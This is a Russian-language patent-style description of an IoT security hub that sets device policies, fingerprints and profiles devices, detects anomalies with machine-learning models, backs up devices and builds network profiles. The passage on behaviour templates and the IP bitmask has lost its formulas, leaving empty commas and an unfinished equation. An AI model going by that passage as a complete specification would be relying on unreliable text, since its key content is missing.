В зависимости от класса информационной безопасности и домена функциональности могут быть выбраны различные политики настройки устройства. Сама политика представляется в виде набора правил, которые выполняются либо на самом устройстве 110 (настройка самого устройства), либо с помощью хаба 310 (например, скачивание свежей прошивки). Правила в предпочтительном варианте реализации задаются в виде условия и действия (англ. If This Then That (IFTTT)).
Кроме того, каждая политика может быть дополнительно уточнена (по возможности) для конкретной модели устройства. Приведем пример.
Например, если неизвестное IoT-устройство было определено как умная лампочка (т.е. относится к домену функциональности “Освещение”) и имеет класс 0 по информационной безопасности, то для этого устройства будет выбрана Политика 1 для последующей настройки, которая включает мониторинг трафика. Кроме того, были определены идентификатор и серия устройства, что позволило определить лампочку от производителя Philips, что предполагает расширенный набор настроек, например контроль настроек для данного устройства.
Еще одним примером может быть определение другого IoT-устройства в качестве умного замка, его следует отнести к домену функциональности Безопасность и в зависимости от класса информационной безопасности, например в рамках домашнего использования будет выбран класс 2, а в рамках промышленного предприятия - класс 4. В зависимости от этих классов будут выбраны различные политики настройки данного IoT-устройства (Политики 13 и 15 соответственно).
Помимо первоначальной настройки, хаб 310 дополнительно отслеживает активность самого IoT-устройства 110 в течение времени и меняет его настройки, а также накладываемые ограничения. Например, термостат должен передавать данные только по определенным адресам (например, производителя и статистика на google.com) и использовать только порты 9543, 11095, 80 и 443. Любые изменения - это аномалия, и такой реостат нужно перенести в другой домен информационной безопасности.
Хаб 310 поддерживает разбиение IoT-устройств на домены по другим характеристикам. Одной из них является местоположение устройства. Местоположение может быть определено:
• самим пользователем вручную, используя веб-интерфейс при присоединении к хабу 310;
• на основании данных о силе беспроводного сигнала от IoT-устройства;
• на основании принадлежности IoT-устройств к одному из доменов по иерархии (Фиг. 7).
Использование дополнительного разбиения на домены по другим характеристикам позволяет вводить дополнительные параметры в политики для настройки устройств. Например, учет местоположения позволяет понять, какие из IoT-устройств находятся вне дома и, соответственно, могут быть подвержены возможной атаке извне, что требует для данных устройств более высоких требований по информационной безопасности, а также более строгих политик по их настройке.
Другой пример дополнительного разбиения на домены - это разбиение всех IoT-устройств на два домена по возможности анализа протоколов передачи данных от IoT-устройств. На домен, в котором находятся устройства, для которых есть возможность анализировать пакеты передаваемых данных, и, соответственно, вносить изменения и вообще контролировать трафик, накладываются отдельные политики настройки IoT-устройств.
Использование хаба для контроля (настройки) устройства
В рамках использования политик по настройке IoT-устройств хаб 310 производит настройку IoT-устройства 110.
На Фиг. 10 отображен способ использования хаба 310 в рамках исследования уязвимостей для IoT-устройств и последующей настройки.
К хабу 310 подключено по одному из протоколов передачи данных IoT-устройство 110. Кроме того, к хабу 310 присоединено устройство 150 (например, смартфон), на котором установлено приложение 1020 для настройки IoT-устройства 110. В качестве примера такого приложения можно привести Mi Home для управления умными вещами, такими как робот-пылесос или система освещения. Также хаб 310 обеспечивает взаимодействие с платформой (сервисом) 130 и приложениями 140.
Из элементов, обеспечивающих информационную безопасность, на Фиг. 10 приведены приложение безопасности 330 (например, антивирус Kaspersky Internet Security), облачный сервис безопасности 1010 (например, Kaspersky Security Network) и база данных 1040, которая хранит информацию об известных уязвимостях для приложений 1020, а также устройствах 110. В одном из вариантов реализации база данных 1040 входит в состав приложения безопасности 330 и/или сервиса безопасности 1010. Кроме того, подобная база данных 1040 содержит правила настройки приложений 1020 и устройств 110.
Небезопасным взаимодействием, которое нельзя контролировать с помощью хаба 130, является прямое взаимодействие приложения 1020 с приложением(-ями) 140, например через мобильную сеть. Также IoT-устройство 110 может взаимодействовать с другими IoT-устройствами через иные протоколы связи, не используя хаб 310. Примером подобного соединения является соединение между устройствами через протокол Bluetooth LE.
Начало взаимодействия хаба 310 с IoT-устройством выглядит нижеописанным образом:
• Обнаружение IoT-устройства 110 и определение его характеристик. Дополнительно хаб 310 получает информацию об ОС, которая установлена на IoT-устройстве 110 и приложениях (сервисах), которые там установлены и работают.
• Определение возможных уязвимостей и рисков IoT-устройства 110 в базе данных 1040. Если данных нет, то происходит запрос в сервис безопасности 1010 и обновление базы данных 1040.
• Определение возможного устройства (в данном случае - смартфона) 150, с которым взаимодействует IoT-устройство 110. В одном из вариантов реализации это осуществляется на основании информационного обмена между IoT-устройством 110 и смартфоном 150, на котором установлено приложение 1020.
• Определение возможных уязвимостей приложения 1020. В одном из вариантов реализации это осуществляется с помощью установленного приложения безопасности (антивируса) 330 и использования базы данных 1040.
• Определение возможных небезопасных взаимодействий приложения 1020 с приложением(-ями) 140, например через мобильную сеть. Также IoT-устройство 110 может взаимодействовать с другими IoT-устройствами через иные протоколы связи, не используя хаб 310.
• На основании собранной информации хаб 310 определяет правила настройки IoT-устройства 110, приложения 1020, смартфона 150.
Пример.
После определения робота-пылесоса в качестве IoT-устройства 110 определяется смартфон 150 на базе ОС Android, на котором установлено устаревшее приложение 1020 для управления роботом-пылесосом. Факт устаревшего приложения может быть получен во время работы этого приложения (при передаче версии приложения) или с помощью сторонних приложений, установленных на смартфоне 150. Смартфон 150 был изначально присоединен к хабу 310, который обеспечивает функции роутера в данной сети.
Хаб 310 извлекает из базы данных 1040 правила для обновления приложения 1020 до актуальной версии (например, через Google Play), а также скачивания новой прошивки для робота-пылесоса с платформы 130 и последующей установки. Сама прошивка должна быть проверена перед установкой на устройство с помощью следующих проверок:
• проверка цифровой подписи и сертификата файла прошивки;
• проверка файла прошивки с помощью файлового сканера на наличие вредоносного кода;
• запуск исполняемого кода (если присутствует) в виртуальной машине.
В варианте реализации на Фиг. 10 в качестве приложения, которое установлено на хабе 310, выступает Kaspersky Security Center.
Один из вариантов подключения IoT-устройства 110 требует, чтобы в зоне действия Bluetooth-соединения находился смартфон 150, что позволяет убедиться в том, что именно аутентифицированный пользователь пытается добавить новое IoT-устройство.
Определение мобильного устройства 150 поблизости может выполняться на основании показателя уровня принимаемого сигнала (англ. received signal strength indicator1 (1https://en.wikipedia.org/wiki/Received_signal_strength_indication).
Хаб 310 может определить не только IoT-устройства, но и роутеры (которые также можно считать IoT-устройствами), к которым они подключены (если будет сетевая иерархия), и заодно перенастроить роутеры, если это будет возможно.
Для корректной поддержки настроек по управлению IoT-устройствами хаб 310 использует профиль каждого устройства в отдельности (рассмотрено далее).
Обнаружение устройства
Обнаружение IoT-устройства может быть реализовано с помощью нескольких методов обнаружения.
Предпочтительный вариант реализации заключается в прямом подключении IoT-устройства 110 к хабу 310. Например, при подключении Hue Light Bulb будет передан следующий запрос через HTTP-протокол для авторизации:
GET /api/v7Le0*** HTTP/1.1
Host: 129.94.5.95
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Pragma: no-cache
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
Используя информацию об известных (присутствующих в системе) устройствах, можно использовать сигнатурный метод обнаружения (например, регулярные выражения для поиска строк), который позволит определить, какое именно устройство подключается к хабу 310 в настоящий момент.
Дополнительная информация включает сетевую информацию - например, информацию о портах подключения. В качестве примера выключатель WeMo использует определенные порты - 49154 и 49153.
Запрос на авторизацию выглядит следующим образом:
POST /upnp/control/remoteaccess1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:remoteaccess:1#RemoteAccess”
Content-Length: 611
Content-Type: text/xml; charset="utf-8
HOST: 121.*.*.*
User-Agent: ***-***-HTTP/1.0
<?xml version="1.0" encoding="utf-8"?>
...<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
... <s:Body>
... <u:RemoteAccess xmlns:u="urn:Belkin:service:remoteaccess:1">
... <DeviceId>3582400***</DeviceId>
... <dst>0</dst>
... <HomeId></HomeId>
... <DeviceName>device_name</DeviceName>
... <MacAddr></MacAddr>
... <pluginprivateKey></pluginprivateKey>
... <smartprivateKey></smartprivateKey>
... <smartUniqueId></smartUniqueId>
... <numSmartDev></numSmartDev>
... </u:RemoteAccess>
... </s:Body>
...</s:Envelope>
Наложение сигнатуры с помощью хаба 310 с использованием сетевой информации позволит определить, что используется ряд продуктов WeMo, а используя данные по идентификаторам устройств - определить их тип.
Другой вариант обнаружения устройств заключается в использовании анализа беспроводных сигналов с помощью хаба 310. Поэтапно такой анализ включает:
• определение частотной области сигналов (англ. frequency domain samples);
• выделение в частотной области определенных зон сигнала (англ. spectrum tiles);
• кластеризация сигналов в зоне;
• выделение уникальных сигналов в кластерах.
При использовании нескольких антенн у хаба 310 (или при использовании нескольких хабов 310) появляется возможность обнаружения физического местоположения обнаруженного IoT-устройства 110 на основании силы сигнала относительно антенн/хабов. Отметим, что настоящее изобретение использует уже известные технологии обнаружения неизвестных устройств, такие как описанные в патенте US10567948.
После обнаружения устройства можно использовать определенные идентификаторы для его идентификации и отслеживания - например, MAC-адрес или заводской идентификатор (DeviceId).
Профиль устройства
После обнаружения IoT-устройства хаб 310 строит его профиль на основании собранных (и собираемых во время работы устройства) данных.
Определение возможных уязвимостей и рисков IoT-устройства включает построение профиля конкретного устройства (англ. device profile), который включает следующие параметры:
• идентификатор устройства;
• данные о производителе, серии, версии прошивки;
• MAC-адрес;
• данные по ОС и установленным приложениям (например, идентификаторы приложений, названия производителей, хеш-суммы файлов и др.);
• использование протоколов (анализ безопасности передачи данных), характеристики трафика, например зашифрованный сетевой трафик считается безопасным;
• частота сетевой активности;
• журнал доступа со стороны пользователей (в том числе и анонимных, если это разрешено), при этом доступ можно анализировать на основании пакетов данных или исходя из привязки пользователей к определенным мобильным устройствам 150, а анализ сетевых пакетов использует технологии DPI (англ. deep packet inspection);
• известные уязвимости (хранимые в базе данных 1040);
• анализ радиочастотных характеристик (в заявке US2016127392A1 раскрывается анализ радиочастотных характеристик для определения возможных беспроводных атак).
На основании данных из профиля рассчитывается уровень риска. Он может выражаться в шкале от 0 до 100, где 0 - гарантированно безопасное (доверенное) устройство, 100 - гарантированно недоверенное устройство, которое имеет выраженный вредоносный функционал. Разные параметры по-разному влияют на уровень риска. Например, информация о производителе может не влиять на уровень риска, а данные по установленным приложениям вносить до 80% от уровня риска.
Также профиль может обновляться на основании нижеперечисленных событий.
• События с сенсоров. События на физическом уровне (physical layer) сетевой модели OSI или на уровне передачи данных (data layer). Например, передача данных через virtual LAN.
• Сессионные события. Пакеты данных с сетевого (network layer) или транспортного уровня (transport layer).
• События уровня приложений. Пакеты данных на уровне сессии (session layer), уровня представления (presentation layer) или уровня приложений (application layer). Подобные пакеты генерируются при выполнении приложений (отправка и получение трафика).
• События на уровне взаимодействия пользователей с устройством. Возникают, когда пользователь взаимодействует с устройством. Например, в процессе аутентификации.
• События, связанные со статусами. Например, периодическая отправка данных о статусе устройства (что оно работает корректно).
• Информация о домене, в котором находится устройство. Домены включают домены функциональности, домены информационной безопасности, домены безопасности человеческой жизнедеятельности.
Подобные события получают на стороне хаба 310 непрерывно, они группируются по устройствам.
Группировку можно делать с помощью алгоритмов машинного обучения, а именно: случайный лес, искусственная нейросеть, метод опорных векторов, а также алгоритмы бустинга для композиции упомянутых алгоритмов.
Шаблоны профиля устройства могут быть очищены от личных данных (например, геотеги или конкретные параметры устройств, в качестве примера можно привести диапазон температур для термостата) и переданы в облако для того, чтобы можно было использовать такой шаблон для похожих устройств других пользователей. В другом варианте реализации личные данные подвергаются хешированию без возможности обратного преобразования.
Профиль IoT-устройства можно проверять в два этапа - сначала по трафику, потом - если обнаружены аномалии - на основании анализа работы самого IoT-устройства. Анализ можно выполнять как косвенно, так и напрямую - если на самом IoT-устройстве установлено приложение безопасности 330. Девиации от профиля также повышают уровень риска, но на небольшой период времени, чтобы не допустить ложных срабатываний.
Фиг. 13 отображает способ создания профиля устройства, а также обучение и использование обученной модели устройства для прогнозирования поведения устройства. На этапе 1310 происходит определение нового IoT-устройства с помощью хаба 310. Способы обнаружения устройства описаны ниже (Фиг. 8). На этапе 1320 происходит сбор данных об устройстве для формирования профиля устройства. Профиль может формироваться как сразу после обнаружения устройства, так и по прошествии времени, так как требуется собрать достаточно данных для определенных полей профиля (например, связанных с сетевой активностью).
Профиль устройства преобразуется в данные, которые могут быть использованы для создания модели машинного обучения.
Например, выбирают следующие команды, которые были отправлены на устройство (перехваченные пакеты) или с самого устройства, 
и параметры 
(от англ. parameter):
,
,
,
,
,
.
На основании выбранных команд и параметров формируют шаблоны поведения, содержащие по одной команде и одному параметру, описывающему упомянутую команду:
, 
, 
, 
, 
,
, 
, ,
, .
Затем на основании сформированных шаблонов дополнительно формируют шаблоны поведения, содержащие по одному параметру и все команды, описываемые упомянутым параметром:
,
,
,
Затем на основании сформированных шаблонов дополнительно формируют шаблоны поведения, содержащие по несколько параметров и все команды, одновременно описываемые упомянутыми параметрами:
.
В еще одном варианте реализации параметры профиля поведения преобразуются следующим образом:
• в случае, если параметр профиля поведения может быть выражен в виде числа, - «числовой диапазон»
например, для параметра, представляющего собой 
команды connect, тип упомянутого параметра может быть «численное значение от 0x0000 до 0xFFFF»,
• в случае, если параметр профиля поведения может быть выражен в виде строки, - «строка»
например, для параметра профиля поведения, представляющего собой команду connect, тип упомянутого элемента шаблона поведения может быть «строка размером менее 32 символов»,
• в случае, если параметр профиля поведения может быть выражен в виде данных, описываемых заранее заданной структурой данных, тип упомянутого параметра профиля поведения может быть «структура данных»
Еще в одном из вариантов реализации дополнительно в профиль поведения в качестве параметров включаются токены, сформированные на основании лексического анализа упомянутых параметров с использованием по меньшей мере:
• заранее заданных правил формирования лексем,
• заранее обученной рекурсивной нейронной сети (англ. recurrent neural network).
Например, с помощью лексического анализа параметра
‘c:\windows\system32\data.pass’
на основании правил формирования лексем:
• если строка содержит путь к файлу, определить диск, на котором расположен файл;
• если строка содержит путь к файлу, определить папки, в которых расположен файл;
• если строка содержит путь к файлу, определить расширение файла;
где в качестве лексем выступают:
• пути к файлам;
• папки, в которых расположены файлы;
• имена файлов;
• расширения файлов;
могут быть сформированы токены:
«пути к файлам» →
‘c:\’,
«папки, в которых расположены файлы» →
‘windows’,
‘system32’,
‘windows\system32’,
«расширения файлов» →
‘.pass’.
Еще в одном примере с помощью лексического анализа параметров
‘181.39.82.8’, ‘181.39.72.38’, ‘181.39.14.213’
на основании правила формирования лексемы:
• если параметры представляют собой IP-адреса, определить битовую маску (или ее аналог, выраженный через метасимволы), описывающую упомянутые IP-адреса (т.е. такую битовую маску M, для которой верно равенство 
для всех упомянутых IP);
может быть сформирован токен:
‘181.39.*.*’.
Еще в одном примере из всех доступных параметров, в качестве которых выступают числа, формируют токены чисел в заранее заданных диапазонах:
23, 16, 7224, 6125152186, 512, 2662162, 363627632, 737382, 52, 2625, 3732, 812, 3671, 80, 3200
сортируют по диапазонам чисел:
от 0 до 999
→ {16, 23, 52, 80, 512, 812},
от 1000 до 9999
→ {2625, 3200, 3671, 7224},
от 10000
→ {737382, 2662162, 363627632, 6125152186}
Далее на этапе 1325 происходит создание свертки профиля устройства. Свертка создается одним из нескольких способов:
• хеширование каждого поля профиля;
• хеширование всех полей профиля как единого целого (путем конкатенации);
• использование гибких или нечетких сверток (англ. fuzzy hash).
Свертка также гарантирует, что для персональных данных, связанных с определенным устройством, не допускается обратного преобразования, а следовательно, и восстановления данных после применения свертки.
В одном из вариантов реализации системы функция свертки формируется методом метрического обучения (англ. metric learning), т.е. таким образом, чтобы расстояние между свертками, полученными с помощью упомянутой функции свертки для шаблонов поведения, имеющих степень схожести больше заранее заданного порогового значения, было меньше заранее заданного порогового значения, а для шаблонов поведения, имеющих степень схожести менее заранее заданного порогового значения, - больше заранее заданного порогового значения.
Еще в одном из вариантов реализации системы формирование функции свертки от признакового описания шаблона поведения выполняется через автокодировщик (англ. autoencoder), при этом в качестве входных данных выступают параметры упомянутого признакового описания профиля поведения, а в качестве выходных данных - данные, имеющие коэффициент схожести с входными данными выше заранее заданного порогового значения.
Затем на этапе 1330 проверяется, известна ли данная свертка устройства либо на стороне хаба 310, либо на стороне сервиса безопасности 1010 (например, Kaspersky Security Network). Последний вариант является предпочтительным, так как именно облачные сервисы безопасности имеют гораздо большие вычислительные мощности и обладают наиболее полной базой данных об известных объектах (как легитимных, так и вредоносных).
Со сверткой устройства ставится в соответствие модель устройства в виде обученного алгоритма машинного обучения, например случайный лес, искусственная нейросеть, метод опорных векторов. Модель описывает известное поведение устройства на основании входных параметров, связанных с профилем (например, сетевая активность). Модель позволяет предсказывать поведение устройства во времени, а при расхождении события - определять аномалии. Модель также может быть выбрана исходя из различных параметров, например скорости работы и эффективности.
Например, при выборе метода машинного обучения выносится решение, следует ли использовать в качестве модели обнаружения искусственную нейронную сеть или случайные леса, затем в случае выбора случайного леса выбирается разделяющий критерий для узлов случайного леса, или в случае выбора искусственной нейронной сети выбирается метод численной оптимизации параметров искусственной нейронной сети. При этом решение о выборе того или иного метода машинного обучения принимается на основании эффективности упомянутого метода при обнаружении вредоносных файлов (т.е. количества ошибок первого и второго рода, возникающих при обнаружении вредоносных файлов) с использованием входных данных (шаблонов поведения) заранее заданного вида (т.е. структуры данных, количества элементов шаблонов поведения, производительности вычислительного устройства, на котором выполняется поиск вредоносных файлов, доступных ресурсов вычислительного устройства и т.д.).
Еще в одном примере метод машинного обучения модели обнаружения выбирают на основании по меньшей мере:
• перекрестной проверки, скользящего контроля, кросс-валидации (англ. cross-validation, CV);
• математического обоснования критериев AIC, BIC и т.д.;
• A/B тестирования (англ. A/B testing, split testing);
• стекинга.
Еще в одном примере в случае невысокой производительности вычислительного устройства выбирают случайные леса, в противном случае - искусственную нейронную сеть.
В одном из вариантов реализации системы выполняется машинное обучение заранее созданной необученной модели обнаружения (т.е. модели обнаружения, у которой параметры упомянутой модели не позволяют получить на основании анализа входных данных выходные данные с точностью выше заранее заданного порогового значения).
Еще в одном из вариантов реализации системы в качестве метода машинного обучения модели обнаружения выступает по меньшей мере:
• градиентный бустинг на деревьях принятия решений (англ. decision-tree-based gradient boosting);
• деревья принятия решений (англ. decision trees);
• метод ближайших соседей kNN (англ. K-nearest neighbor method);
• метод опорных векторов (англ. support vector machine, SVM).
Если свертка известна, то на этапе 1340 на хаб 310 загружается известная модель, которая будет использована для проверки устройства на аномалии. Модели могут храниться как в базе данных, так и в виде отдельных файлов, которые содержат как описание самой модели, так и набор ее параметров (например, весов для нейросети).
В ином случае, на этапе 1350 продолжается сбор данных по устройству (дополняется профиль), которые затем будут использованы на этапе 1360 для построения модели поведения устройства. На этапе 1370 полученная модель вместе с идентифицирующей модель сверткой устройства загружается в сервис безопасности 1010 и может использоваться в дальнейшем.
Рассмотрим пример. При появлении новых моделей умных вещей (например, умного робота-пылесоса) хаб 310 определит устройство как новое, создаст свертку и отправит ее на сторону сервиса безопасности 1010, где данные по данному устройству пока отсутствуют. Хаб 310 продолжит собирать данные, создаст модель поведения устройства, куда войдут такие параметры как:
• первые 3 октета IP-адресов, куда отправляется трафик с устройства;
• средний размер пакетов отправляемых данных;
• частота отправки данных;
• идентификатор серии устройства;
• время и частота работы (в данном случае - уборка помещений);
• другие данные.
Используя полученные данные, хаб 310 строит модель поведения данного устройства, которая затем будет загружена на сторону сервиса безопасности 1010.
В качестве выходных параметров для модели поведения используется состояние пылесоса - включен и активен (пылесосит комнаты), режим ожидания (пылесос подключен и ожидает команды или времени начала уборки), обновление прошивки, оффлайн (пылесос отключен от сети), коды ошибок.
После обучения модели она может быть использована для определения аномалий при работе робота-пылесоса. Если согласно модели пылесос выполняет уборку в промежутке между 12 и 18 часами, когда в доме отсутствуют хозяева, но при этом он включается в 11 утра и отправляет пакеты данных на новый IP-адрес, то это может сигнализировать о том, что робот-пылесос был взломан (например, используя уязвимость), и выполнение обученной модели выдаст сигнал о том, что поведение пылесоса в настоящий момент отличается от того поведения, которое прогнозируется. Будет отправлен сигнал об аномалии как на хаб 310, так и на сервис безопасности 1010.
Обученная модель может быть использована на похожих устройствах в будущем, т.е. может быть использована с помощью других хабов 310 в других сетях. Для этого обученная модель должна учитывать ряд параметров, которые могут зависеть от местоположения как IoT-устройства, так и хаба. Такими параметрами могут быть:
• IP-адреса сервисов, куда отправляются сетевые пакеты с IoT-устройства. Для разных регионов могут использоваться региональные серверы.
• Временные метки. IoT-устройства работают в разных часовых поясах, что требуется учитывать при обучении модели. Например, может использоваться локальное время на хабе 310.
• Геотеги.
Другой вариант обучения модели подразумевает игнорирование параметров, которые могут зависеть от регионального местоположения, но это возможно только в том случае, если подобные параметры (например, геотеги) не вносят существенного вклада (веса) при обучении модели.
Если модель уже была создана ранее, то на этапе 1340 загружается уже готовая модель поведения устройства. После этого на этапе 1345 реализуется дополнительный этап в виде отслеживания работы модели, когда происходит сбор обратной связи (например, от пользователя) об ошибках работы модели. В случае робота-пылесоса это могут быть ошибочные срабатывания модели в том случае, когда устройство пытается загрузить обновления прошивки с новых региональных серверов, что приведет к тому, что модель выдаст аномальное поведение устройства. Пользователь может обратить на это внимание и либо отключить использование настоящей модели через интерфейс хаба 310, либо добавить IP-адреса региональных серверов в исключение.
Обратная связь может быть реализована и автоматически. Например, в вышеприведенном случае IP-адреса новых региональных серверов могут быть проверены сервисом безопасности 1010 с помощью известных антивирусных технологий (например, проверка указанных адресов по базе данных IP-адресов, проверка цифровой подписи и другие проверки). Если окажется, что указанные IP-адреса являются доверенными, то модель поведения может быть переобучена с учетом новых параметров (данный этап не отображен).
Восстановление IoT-устройства из резервной копии
Хаб 310 имеет возможность восстановления ряда IoT-устройств. Такие возможности включают:
• сброс настроек IoT-устройства до настроек по умолчанию (заводских);
• восстановление настроек IoT-устройства из резервной копии.
Восстановление из резервной копии может быть выполнено через приложение 140, в котором сохранен профиль IoT-устройства 110, или с помощью сохранения настроек в файле прямо на хабе 310. Например, для Philips Hue все настройки хранятся в JSON-файле, который может быть импортирован на IoT-устройство с хаба 310.
В одном из вариантов реализации хаб 310 привязывает резервную копию IoT-устройства 110 к его идентификатору. В еще одном варианте реализации хаб 310 привязывает резервную копию к профилю устройства.
В одном из вариантов реализации хаб 310 сохраняет резервную копию IoT-устройства 110 на сервисе безопасности 1010 и использует ее в случае восстановления.
В одном из вариантов реализации хаб 310 сохраняет резервную копию прошивки IoT-устройства. При этом в случае восстановления (например, устройство перешло в режим аварийного загрузчика) хаб 310 также восстанавливает прошивку устройства, например известными командами, указанными в профиле устройства.
В одном из вариантов реализации в случае, если IoT-устройство сбоит (например, самопроизвольно перезагружается) чаще, чем на основании статистики или профиля устройства, хаб 310 принудительно создает резервную копию и высылает нотификацию пользователю, например посредством приложения 140. Перезагрузка может быть выявлена хабом 310, например, путем запроса к устройству, возвращающего текущее время работы (англ. uptime).
Обнаружение похожих устройств
Профиль устройства дополнительно используется для обнаружения похожих (например, схожих по функционалу, по уровню безопасности/опасности) устройств с помощью хаба 310. Например, при выходе новой модели устройства многие параметры его работы остаются похожими (или полностью совпадающими) с параметрами старой модели. Такими параметрами являются:
• идентификатор производителя;
• характеристики устройства, например новая версия умной лампочки также будет иметь параметры, идентичные старой модели (яркость, цветовая температура и другие параметры);
• используемый протокол обмена данными между устройством и облачным сервисом 130 и приложениями 140, частота сетевой активности и многие другие параметры, связанные с сетевым трафиком.
В одном из вариантов реализации при определении неизвестного устройства хаб 310 считывает идентификатор производителя и отправляет запрос в сервис безопасности 1010 на поиск похожих профилей устройств от данного производителя. Получив необходимые профили, хаб 310 строит профиль неизвестного устройства и сравнивает либо сам профиль, либо свертку профиля с загруженными данными. В том случае, если определена похожесть профиля неизвестного устройства с профилем уже известного, хаб 310 считает неизвестное устройство таким же устройством, профиль которого был загружен с сервиса безопасности 1010. К данному устройству могут быть применены все политики настройки устройства.
В одном из вариантов реализации хаб 310 вычисляет цифровой отпечаток IoT-устройства 110.
В общем случае отпечаток содержит информацию о характеристиках устройства 110. Характеристиками устройства 110 являются:
• идентификатор устройства 110;
• идентификатор операционной системы, под управлением которой работает устройство 110;
• местоположение (геолокация или положение внутри сети) устройства 110;
• региональные характеристики прошивки устройства 110 (например, континент/страна/город);
• программные способы аутентификации, имеющиеся на устройстве 110 (например, пароль, пин-код, рисунок для разблокировки экрана);
• наличие доступных каналов связи на устройстве 110 (имеет ли доступ по беспроводным интерфейсам передачи данных, например Wi-Fi, включена ли на устройстве передача данных посредством мобильных сетей и скольких мобильных сетей, включена ли передача данных по беспроводным интерфейсам);
• прочие.
Данные, собранные хабом 310 об устройстве 110, передаются сервису безопасности 1010.
В общем случае сервис безопасности 1010 вычисляет вектор ключевых характеристик по отпечатку устройства 110 на основании данных, полученных от хаба 310.
В общем случае сервис безопасности 1010 выделяет ключевые характеристики, при этом ключевыми характеристиками являются характеристики, которые влияют на идентификацию устройства 110. В общем случае ключевые характеристики выделяются статистически в процессе работы системы. Например, характеристика «производитель LG» может являться ключевой характеристикой, так как влияет на идентификацию устройства 110.
В одном из вариантов реализации сервис безопасности 1010 создает кластеры (выполняет кластеризацию) устройств 110 на основании по меньшей мере одной ключевой характеристики устройства 110, выделенной из отпечатка устройства 110. Упомянутая кластеризация в общем случае является обучением системы. В одном из вариантов реализации кластеризация выполняется на основании нескольких выделенных упомянутых ключевых характеристик устройства 110, которые в свою очередь являются вектором ключевых характеристик устройства 110. Таким образом, вектор ключевых характеристик содержит по крайней мере часть выделенных ключевых характеристик устройства. В результате для каждого хаба 310 сервис безопасности 1010 формирует набор кластеров, в которые входят ранее известные устройства 110 хаба 310.
Далее, сервис безопасности 1010, используя одну или несколько известных из уровня техники функций расстояния между векторами, вычисляет расстояние между вектором ключевых характеристик устройства 110, и вектором ключевых характеристик по меньшей мере одного устройства, известного сервису безопасности 1010, которое входит в состав вышеупомянутых созданных кластеров. Устройство 110 считается новым (неизвестным хабу 310), если вычисленное расстояние превышает пороговое значение. В целом для нового устройства 110 могут применяться базовые политики безопасности.
Профиль сети
Помимо построения профилей IoT-устройств, хаб 310 также строит профиль всей сети.
Одним из вариантов сбора данных об IoT-устройствах в сети является пассивное прослушивание трафика. Например, для всех беспроводных протоколов хаб 310 может собирать пакеты данных и на основании анализа определять даже те IoT-устройства, которые не подключены к хабу 310 напрямую. Как говорилось ранее, подобными устройствами могут быть различные датчики (например, датчики освещенности или температуры), которые подключены к другому IoT-устройству.
Сбор трафика с помощью хаба 310 может быть реализован следующим образом (Фиг. 8). После включения хаба 310 на этапе 810, он включает все возможные протоколы передачи данных и на этапе 820 определяет все устройства, которые работают поблизости, на основании пассивного прослушивания трафика. Затем на этапе 830 все устройства отключаются (это можно сделать автоматически через отправку соответствующих команд, если хаб 310 имеет информацию о протоколах работы настоящих IoT-устройств), после чего они начинают включаться по очереди на этапе 840. Это делается специально для того, чтобы подтвердить аутентификацию всех IoT-устройств. Например, для устройств, поддерживающих IEEE 802.1X, это делается через EAPOL протокол. На этапе 850 строится полная карта из всех определенных IoT-устройств.
На основании собранных данных можно построить как плоскую модель сети из всех обнаруженных IoT-устройств, так и иерархическую (проиллюстрировано на Фиг. 7). Последняя строится на основании известных данных об подчинении (иерархическом подключении) одних IoT-устройств другим IoT-устройствам. Например, если ряд умных лампочек и датчиков освещенности подключен по проприетарному протоколу (который не поддерживается хабом 310) к умному выключателю, который подключен уже к самому хабу 310, то можно использовать специальное правило, которое объединяет данные устройства в отдельный домен, относя затем этот домен как отдельный объект к домену функциональности в классе освещения. В другом варианте реализации хаб 310 объединяет несколько подобных устройств в одно логическое (виртуальное) устройство для упрощения контроля и проверки.
Фиг. 14а-в отображают построение профиля сети из IoT-устройств с помощью хаба 310 в течение промежутка времени. На Фиг. 14а отображено первичное подключение хаба 310 в сеть, во время которого он обнаруживает два IoT-устройства 110, например робот-пылесос и реостат. По прошествии некоторого времени (Фиг. 14б), к сети подключается мобильное устройство пользователя 150, а также обнаруживается IoT-устройство 110, которое является агрегатором других IoT-устройств 110. Подобными агрегаторами являются устройства типа HomeBridge или MajorDomo. Пунктирная стрелка отражает тот факт, что мобильное устройство 150 как появляется (подключается) в сети, так и исчезает, что связано с тем, что сам пользователь вместе со смартфоном 150 может покидать дом. Фиг. 14в отображает состояние сети спустя некоторый промежуток времени, когда одно из устройств было отключено от сети. Это может быть связано с рядом причин - устройство исчерпало свой ресурс, было перемещено, у него была обновлена прошивка (из-за чего оно теперь может обнаруживаться в сети как новое устройство).
Профиль сети включает по меньшей мере:
• как минимум одно устройство, его характеристику, свертку профиля устройства;
• время жизни устройства в сети, частоту его появления;
• связи устройства с другими устройствами, при этом связь определяется на основании перехваченного трафика между устройствами (если применимо);
• время появления устройства в сети;
• время работы устройства (время нахождения в сети).
Информация о профиле сети сохраняется в одном из форматов данных, которые позволяют описывать объекты, например XML или JSON.
Формат записи об объекте имеет примерный вид:
Фиг. 15 отражает способ построения профиля сети. На этапе 1510 происходит сбор данных с помощью хаба 310 об определенных (обнаруженных) устройствах. Затем на этапе 1520 хаб 310 создает профиль сети из определенных устройств, после чего на этапе 1530 продолжает собирать информацию об устройствах - о подключении новых, исчезновении старых, обновлении программной части известных устройств и т.д. На этапе 1540 профиль сети обновляется после каждого сбора информации на этапе 1530, т.е. этапы 1530-1540 повторяются постоянно по истечении заданного промежутка времени. Кроме того, на этапе 1530 информация об устройствах может обновляться не только периодично, но и на основании событий, например при внеплановом обновлении самого устройства (прошивки).
Полученный профиль сети хаб 310 загружает на сервис безопасности, при необходимости постоянно присылая обновления для данного профиля. В одном из вариантов реализации сам профиль хранится в виде файла XML или JSON, а все обновления хранятся отдельно в виде небольших файлов, которые описывают все изменения (англ. diff) для следующей версии файла. В другом варианте реализации профиль сети хранится в виде одного файла, а старые версии хранятся в резервном хранилище.
Профили сети из различных источников позволяют вести статистику распространенности тех или иных устройств, делать статистические исследования по популярности производителей, оценивать уровень безопасности каждой сети в отдельности, а также по сравнению с другими сетями IoT-устройств.
Одним из преимуществ использования такой информации является прогнозирование появления новых устройств в сети при подключении новых хабов в будущем.
